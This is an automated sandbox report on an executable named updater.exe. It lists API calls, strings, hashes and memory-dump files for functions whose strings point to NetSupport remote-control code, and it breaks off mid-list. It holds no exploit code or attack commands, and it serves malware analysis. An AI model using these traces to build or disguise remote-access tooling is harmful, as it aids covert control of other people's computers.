Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 5cbe801bf7b381ca0378d38539efb860e368aea908294e06d9e36ba0bca127a5
Instruction ID: b900b06cde22f286b5d6b80c7bf5c94766530aebccc61ebef0275fd01e3919ca
Opcode Fuzzy Hash: 5cbe801bf7b381ca0378d38539efb860e368aea908294e06d9e36ba0bca127a5
Instruction Fuzzy Hash: 50B092E02C130218182072B72C03ACA040F0994B8A70104553B10A3481DD5880C98339

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: updater.exe PID: 6912 Parent PID: 6820 updater.exeCOMMON

Executed Functions

Function 11144140, Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,73BCEA30), ref: 11144173
LoadLibraryA.KERNEL32(?), ref: 111441BC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 111441D5
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 111441E4
GetModuleHandleA.KERNEL32(?), ref: 111441EA
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 111441FE
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114421D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11144228
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11144233
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114423E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11144249
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11144254
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114425F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114426A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 11144275
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 11144280
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 1114428B
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 11144296
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111442A1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111442AC

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Strings

SymGetLineNext, xrefs: 1114421F
MiniDumpWriteDump, xrefs: 111442A3
DBGHELP.DLL, xrefs: 111441CF, 111441D4
SymMatchFileName, xrefs: 11144235
SymGetLineFromAddr, xrefs: 111441F8
SymInitialize, xrefs: 11144261
SymGetLineFromName, xrefs: 11144217
SymGetModuleInfo, xrefs: 11144282
SymGetOptions, xrefs: 1114426C
SymGetSymFromAddr, xrefs: 1114428D
SymGetLinePrev, xrefs: 1114422A
SymSetOptions, xrefs: 11144277
SymFunctionTableAccess, xrefs: 11144298
StackWalk, xrefs: 11144243
SymCleanup, xrefs: 1114424B
dbghelp.dll, xrefs: 11144198
IMAGEHLP.DLL, xrefs: 111441DE, 111441E3, 111441E9
SymLoadModule, xrefs: 11144256

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: 57b4066cb2a569ca058a5d5f8073bc193ef12f36e95607c0665d50404da9b0c4
Instruction ID: c7cebb5ad097969c59afa36c8b157edb2e0deacaa1fcee2d42955e2ce7c14d1b
Opcode Fuzzy Hash: 57b4066cb2a569ca058a5d5f8073bc193ef12f36e95607c0665d50404da9b0c4
Instruction Fuzzy Hash: 74416174A40704AFDB289F769D84E6BFBF8FF55B18B50492EE445D3A00EB74E8008B59

Uniqueness

Uniqueness Score: -1.00%

Function 11146010, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145F00: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11145F70
Part of subcall function 11145F00: RegCloseKey.ADVAPI32(?), ref: 11145FD4

_memset.LIBCMT ref: 11146055
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
FreeLibrary.KERNEL32(00000000), ref: 111460BF
GetSystemDefaultLangID.KERNEL32 ref: 111460CA

Strings

kernel32.dll, xrefs: 11146080
GetUserDefaultUILanguage, xrefs: 111460A1

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: d16ef3f8451e0833cf110c528b048f63f93f72395641363cf9238af7566ccf25
Instruction ID: 3f0f124d44211a8ad3fb9d67620e20a9ac0b69379346808ac7e8dd1e07daf2e5
Opcode Fuzzy Hash: d16ef3f8451e0833cf110c528b048f63f93f72395641363cf9238af7566ccf25
Instruction Fuzzy Hash: 8731C370E00229CFDB21DFB5CA84B9AF7B4EB45B1CF640575D829D3A85CB744984CB51

Uniqueness

Uniqueness Score: -1.00%

Function 11031780, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(1102EA50,?,00000000), ref: 110317A4

Strings

Client32, xrefs: 11031784
NSMWClass, xrefs: 110317AF
NSMWClass, xrefs: 110317C3

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID: Client32$NSMWClass$NSMWClass
API String ID: 3192549508-611217420
Opcode ID: c961f33892060384102c2ee032c69d83171ddabd259de90cbdfd1f05e760a560
Instruction ID: 804cb5d527221f69a992b866d17bc63a828f9d1c02720c4f1a032ef46c9a5584
Opcode Fuzzy Hash: c961f33892060384102c2ee032c69d83171ddabd259de90cbdfd1f05e760a560
Instruction Fuzzy Hash: C1F04F7890222ADFC30ADF95C995A59B7F4BB8870CB108574D43547208EB3179048B99

Uniqueness

Uniqueness Score: -1.00%

Function 11028C10, Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,73951340,?,0000001A), ref: 11028CFD
_strrchr.LIBCMT ref: 11028D0C

Part of subcall function 1116558E: __stricmp_l.LIBCMT ref: 111655CB

Strings

NSSAppDataDir, xrefs: 11029045
SupportWWW, xrefs: 11028FB5
??I, xrefs: 11029317
ShortName, xrefs: 11028EC5
NSSConfName, xrefs: 11029075
\, xrefs: 11028C8C
LongName, xrefs: 11028E95
product.dat, xrefs: 11028CC0, 11028D11
TechConsole, xrefs: 1102913D
NSSName, xrefs: 11028F55
SupportsAndroid, xrefs: 110291A2
NSSLongCaption, xrefs: 11029175
AssistantName, xrefs: 110290AC
AssistantURL, xrefs: 110290D9
TLA, xrefs: 11028F25
??F, xrefs: 11029290
SupportsChrome, xrefs: 11029106
NSMAppDataDir, xrefs: 11029015
Home, xrefs: 11028EF5
Name, xrefs: 11028E5E
NSSTLA, xrefs: 11028F85
SupportEMail, xrefs: 11028FE5

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: bda617b4801821ad68c06afa38a0a882f0d0530b8b097215d3e19e3faa20ac69
Instruction ID: 6dd15402a7eb79c0789e25bc58f14fe58cbd6334f89e1d0f8744b7b944579b3b
Opcode Fuzzy Hash: bda617b4801821ad68c06afa38a0a882f0d0530b8b097215d3e19e3faa20ac69
Instruction Fuzzy Hash: 86120738D052A68FDB16CF64CC84BE8B7F4AB1634CF5000EED9D597601EB72568ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 11145C70, Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F1EF0,745EC740), ref: 11145CA0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
_memset.LIBCMT ref: 11145CFD

Part of subcall function 11143BD0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,745EC740,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

_strncpy.LIBCMT ref: 11145DCA

Part of subcall function 111648ED: __isdigit_l.LIBCMT ref: 11164912

RegCloseKey.KERNEL32(00000000), ref: 11145E66

Strings

Service Pack, xrefs: 11145EAD
CurrentVersion, xrefs: 11145D44
CurrentMinorVersionNumber, xrefs: 11145E30
CSDVersion, xrefs: 11145D1A
CurrentMajorVersionNumber, xrefs: 11145DF8
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 11145CCB

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: 929fb5d8b7f52e0b88e664298c84f703fc5a1542ba09115f26204fab96234c05
Instruction ID: 72e9b589e9c81c7730d33f5d85faf9c496c6ad46d8e7039c924549f2bc0033ac
Opcode Fuzzy Hash: 929fb5d8b7f52e0b88e664298c84f703fc5a1542ba09115f26204fab96234c05
Instruction Fuzzy Hash: A4510871E0023BABDB21CF61CD41FDEF7B9AB01B0CF1040A9E91D66945E7B16A49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1115F240, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32 ref: 1115F268
GetLastError.KERNEL32 ref: 1115F275
wsprintfA.USER32 ref: 1115F288

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

GlobalAddAtomA.KERNEL32 ref: 1115F2CC
GlobalAddAtomA.KERNEL32 ref: 1115F2D9

Strings

..\ctl32\wndclass.cpp, xrefs: 1115F299, 1115F2B5
NSMReflect, xrefs: 1115F2C7
NSMWndClass, xrefs: 1115F260
GlobalAddAtom failed, e=%d, xrefs: 1115F282
m_aProp, xrefs: 1115F2BA
NSMDropTarget, xrefs: 1115F2CE

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: 402ec4c373f1d9ae321d95a7acd37e1e5b6a56151d149dbb571c93f25e459d97
Instruction ID: 07e815115c29277e6575bd3acbfe434a71258061b731743832bfb2ada14664d5
Opcode Fuzzy Hash: 402ec4c373f1d9ae321d95a7acd37e1e5b6a56151d149dbb571c93f25e459d97
Instruction Fuzzy Hash: BB1127B5A4031AEBC720EFE69C80ED5F7B4FF22718B00466EE46643140EB70E544CB81

Uniqueness

Uniqueness Score: -1.00%

Function 11110DE0, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 11110E4A
__CxxThrowException@8.LIBCMT ref: 11110E5F
GetCurrentThreadId.KERNEL32 ref: 11110E76
InitializeCriticalSection.KERNEL32(-00000010,?,11031700,00000001,00000000), ref: 11110E89
InitializeCriticalSection.KERNEL32(111F18F0,?,11031700,00000001,00000000), ref: 11110E98
EnterCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110EAC
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031700), ref: 11110ED2
LeaveCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110F5F

Strings

..\ctl32\Refcount.cpp, xrefs: 11110EE6
QueueThreadEvent, xrefs: 11110EEB

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: 3313cbbe257165c34464833287d41e0f9d58cbebad1c18e79641ee09ebaf6bd0
Instruction ID: f3d5edf841f59403b8991f5d6a5c2e10d1098d1cef77e9e1f9f0bcea7e620dca
Opcode Fuzzy Hash: 3313cbbe257165c34464833287d41e0f9d58cbebad1c18e79641ee09ebaf6bd0
Instruction Fuzzy Hash: 2141AD75E00626AFDB11CFB98D80AAAFBF4FB45708F00453AF815DB248E77599048B91

Uniqueness

Uniqueness Score: -1.00%

Function 11061320, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32 ref: 110613A4
_malloc.LIBCMT ref: 110613EB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

RegEnumValueA.ADVAPI32 ref: 1106142B
RegEnumValueA.ADVAPI32 ref: 11061492
_free.LIBCMT ref: 110614A4

Strings

maxname < _tsizeof (m_szSectionAndKey), xrefs: 110613D8
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 110615AA
..\ctl32\Config.cpp, xrefs: 110613B3, 110613D3, 110615A5
err == 0, xrefs: 110613B8

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: c88c5497aaf0b71f7d616666734417a077c2241501ec168b0270ea83746a62af
Instruction ID: 6cc8e5caf6a1957f468abfb3494a260dc46a483def11051c8948769c459486e3
Opcode Fuzzy Hash: c88c5497aaf0b71f7d616666734417a077c2241501ec168b0270ea83746a62af
Instruction Fuzzy Hash: 78A1A175A007469FE721CF64C880BABFBF8AF49304F144A5DE59697680E771F508CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1115C8E0, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,8DD58CB8,00000000,?), ref: 1115C927
CoCreateInstance.OLE32(111C627C,00000000,00000017,111C61AC,?), ref: 1115C947
wsprintfW.USER32 ref: 1115C967
SysAllocString.OLEAUT32(?), ref: 1115C973
wsprintfW.USER32 ref: 1115CA27
SysFreeString.OLEAUT32(?), ref: 1115CAC8

Strings

root\CIMV2, xrefs: 1115C961
SELECT * FROM %s, xrefs: 1115CA21
WQL, xrefs: 1115CA40

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 175defb0ff3311be352c3e895ec4c40801578b620f8bdfb43f719b83b34ddfee
Instruction ID: 91bf14772fb0e49150e0dc85e0cb347219a857647afd576183cc1e94570c565b
Opcode Fuzzy Hash: 175defb0ff3311be352c3e895ec4c40801578b620f8bdfb43f719b83b34ddfee
Instruction Fuzzy Hash: 04518071B40619AFC764CF69CC94F9AFBB8EB8A714F0046A9E429D7640DA30AE41CF51

Uniqueness

Uniqueness Score: -1.00%

Function 110155C0, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1101567A
_memset.LIBCMT ref: 110156BE
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 110156F8

Strings

PackedCatalogItem, xrefs: 110156E2
%012d, xrefs: 11015674
NSLSP, xrefs: 11015708
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 110155FB

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
